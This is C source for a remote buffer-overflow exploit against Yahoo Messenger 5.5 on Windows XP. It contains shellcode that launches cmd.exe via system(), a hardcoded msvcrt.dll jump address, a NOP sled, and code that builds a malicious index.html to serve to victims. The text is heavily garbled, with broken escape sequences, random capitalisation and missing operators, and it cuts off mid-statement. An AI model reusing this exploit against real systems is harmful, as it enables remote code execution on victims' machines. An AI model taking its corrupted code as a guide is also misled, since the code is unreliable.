Yahoo Messenger V5.5 Remote Exploit (DSR-DUCKY.C)

/ *

*

* --- [Remote Yahoo Messenger V5.5 Exploiter on Windows XP] ---

*

* DTORS Security Research (DSR)

* Code by: rave

*

* The buffer loospi

*

* | - <- <- <- |

*

* ^ __________ ^

*

*

* /

#include

#include

#include

#include

#include / * There Are The Usual Header Files * /

#include

#include

#include

#define maxDataSize 555 / * max number of bytes of data * /

#define backlog 200 / * Number of %ified Connections * /

Static int port = 80;

/ * library entry inside msvcrt.dll to jmp 0xc (eb0c); * /

Char sraddress [8] = "/ x16 / xd8 / xe8 / x77";

/ * This shellcode just executes cmd.exe nothing special here ..

* The Victim Gets a cmd shell on his desktop :) lol! /

* /

Unsigned char shellcode [] =

"/ x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90"

"/ X8B / XEC / X55 / X8B / XEC / X68 / X20 / X68 / X63 / X6D / X64 / X2E / X8D / X45 / XF8 / X50 / XB8"

"/ x44 / x80 / ​​xbf / x77" // 0x78bf8044 <- adress of system ()

"/ XFF / XD0"; // Call System ()

Static int port;

Void usage (char * programname)

{

Printf ("/ N / t / t ----------------------------------------- -------- / n ");

Printf ("/ T / T / T / TDTORS Security Research (DSR) / N");

Printf ("/ t / t / t / tcode by: rave / n");

Printf ("/ t / t / t / tmail: rave@dttors.net/n");

Printf ("/ t / t ----------------------------------------- ------ / n / n ");

/ * MODIFY Here to Add your USAGE Message When THE Program IS

* Called without arguments * /

Printf ("/ t / t ----------------------------------------- ------ / n / n "); FPRINTF (stdout," / t / tp local webserver server portnumber / n ");

FPRINTF (stdout, "/ t / t-g greatz to: / n / n / N / N / N");

Printf ("/ t / t ----------------------------------------- ------ / n / n ");

}

/ * returns the index of the first argument That is not an option; i.e.

Does Not Start with a Dash OR a SLASH

* /

INT HandleOptions (int Argc, char * argv [])

{

INT I, FIRSTNONOPTION = 0;

For (i = 1; i

IF (argv [i] [0] == '/' || argv [i] [0] == '-') {

Switch (argv [i] [1]) {

/ * An Argument -? Means Help is Requested * /

Case '?':

USAGE (Argv [0]);

Break;

Case 'P':

Port = ATOI (Argv [i 1]); Break;

Case 'h':

IF (! Stricmp (Argv [i] 1, "Help")) {

USAGE (Argv [0]);

Break;

}

/ * If the option --h means anything else

* in Your Application Add Code Here

* Note: This Falls through to the default

* To print an "unknow option" message

* /

/ * Add your option switches here * /

DEFAULT:

FPRINTF (stderr, "unknown option% S / N", argv [i]);

Break;

}

}

Else {

FirstnonOption = i;

Break;

}

}

Return firstnonoption;

}

Int main (int Argc, char * argv [])

{

File * fptr;

UNSIGNED Char Buffer [5000];

INT offset = 320; // <- the offset off the buffer = 320 x NOP; (AT 321 WHE BEGIN THE INSTRUCTION POINTER CHANGE)

INT FD, FD2, I, Numbytes, Sin_SIZE; / * Files Descriptors * /

Char SD [MaxDataSize]; / * SD WILL STORE Send Text * /

Struct SockAddr_in Server; / * Server's Address Information * /

Struct SockAddr_in Client; / * Client's Address Information * /

Struct Hostent * He; / * Pointer for the host entry * /

Wsadata WSDATA;

WSASTARTUP (0x0101, & wsdata); if (argc == 1) {

/ * If no arguments we call the usage routine and exit * /

USAGE (Argv [0]);

Return 1;

}

HandleOptions (Argc, Argv);

FPRINTF (stdout, "creating index.html:");

IF ((FPTR = FOPEN ("INDEX.HTML", "W")) == null) {

FPRINTF (stderr, "failed / n");

Exit (1);

} else {

FPRINTF (stderr, "done / n");

}

// Memseting the buffers for preperation

MEMSET (SD, 0x00, MaxDataSize);

MEMSET (Buffer, 0x00, Offset 32 Strlen (Shellcode);

MEMSET (Buffer, 0x90, Offset);

// WHE PLACE THE A JMP EBP 0x3 Instuction Inside the Buffer

// TO JUMP over The Eip Changing bytes at the en offset

//

// JMP 0x3

/ / | ____________ ^

Buffer [offset-4] = 0xeb;

Buffer [offset-3] = 0x03;

Memcpy (buffer offset, sraddress, 4);

Memcpy (Buffer Offset 4, Shellcode, Strlen (shellcode);

// here whe Make the index.html

// Whe Open it again if some connects to the expeling server

// and send it over to the VICTIM.

FPRINTF (FPTR, ", 0x22, 0x22);

FPRINTF (FPTR, "");

FPRINTF (FPTR, "